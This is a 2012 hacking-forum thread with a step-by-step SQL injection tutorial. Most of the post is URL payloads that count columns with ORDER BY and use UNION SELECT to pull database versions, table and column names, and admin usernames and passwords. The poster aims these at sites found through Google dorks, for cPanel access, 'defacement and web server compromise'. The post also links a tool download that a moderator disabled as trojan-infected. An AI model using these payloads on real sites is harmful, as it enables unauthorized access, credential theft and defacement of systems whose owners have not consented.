SQLI [website hacking tutorial] + Program + Dor

All tutorials we have thought to write or that have been compiled that do not explicitly belong in another category.
Post Reply
Google
n00b
Posts: 1
Joined: Wed Jul 18, 2012 9:22 am

SQLI [website hacking tutorial] + Program + Dor

Post by Google » Wed Jul 18, 2012 9:33 am

What exactly is SQL Injection?
SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (wikipedia definition)
What will I need to perform an SQL Injection attack?
[+] A good list of "google dorks"
[+] half a brain and the will to learn lol

For good search results search for a dork like this.

Code: Select all

index.php?id=



You must first check each site individually. To test a individual site add a " ' " after the url. For example.

Code: Select all

sqlivulnerablesite.com/index.php?id=1'
Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 order by 1--
Load the page. If the page loads correctly with that code injection in the url then we are on the right track

Knowing that there is already 1 column in this database we do another code injection. Like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 order by 2--
If the page loads correctly again then this attack can still be performed.

Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10.

*NOTE*
If you load the web page on a code injection like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 order by 10--
and you get a result like this.

Code: Select all

Unknown column '10' in 'order clause'
Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 order by 9--
If your page loads correctly then this means there is 9 columns in the database

The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--
After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9
When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--
After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--
*NOTE*
Here (x) is the ascii value of the table name.

Now we must find the ascii value of the word admins.
GO HERE TO CONVERT TEXT TO ASCII

The ascii value of admins is

Code: Select all

& #97 ; & #100 ; & #109 ; & #105 ; & #110; & #115 ;
Delete all the ";" , "#" , and "&". So it should look like this.

Code: Select all

97,100,109,105,110,115
Now replace the the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--
When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.

Code: Select all

sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --
*NOTE*
(0x3a) is the ascii value of the column name
When the page loads it should show the data of the username and password for cpanel access.

Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise.

Hopefully someone might find this thread usefull.

Download Link
http://link.removed.tld/download.php?g7omyl80fz7gfs5
Think will include website hacking tool + Fresh Dork
Last edited by Cool_Fire on Thu Jul 19, 2012 6:27 pm, edited 1 time in total.
Reason: Download link disabled: Infected with trojan.

User avatar
Cool_Fire
Not a sandwich
Posts: 1912
Joined: Fri May 09, 2003 1:20 pm
Location: 41 6d 73 74 65 72 64 61 6d
Contact:

Re: SQLI [website hacking tutorial] + Program + Dor

Post by Cool_Fire » Thu Jul 19, 2012 5:58 pm

Very useful, thanks.
(Moved to tutorial section.)
If we're breaking the rules, then how come you can't catch us? You can't find us? I know why. Cause, it's ... MAGIC!
Hackerthreads chat, where the party is going 24/7.

Post Reply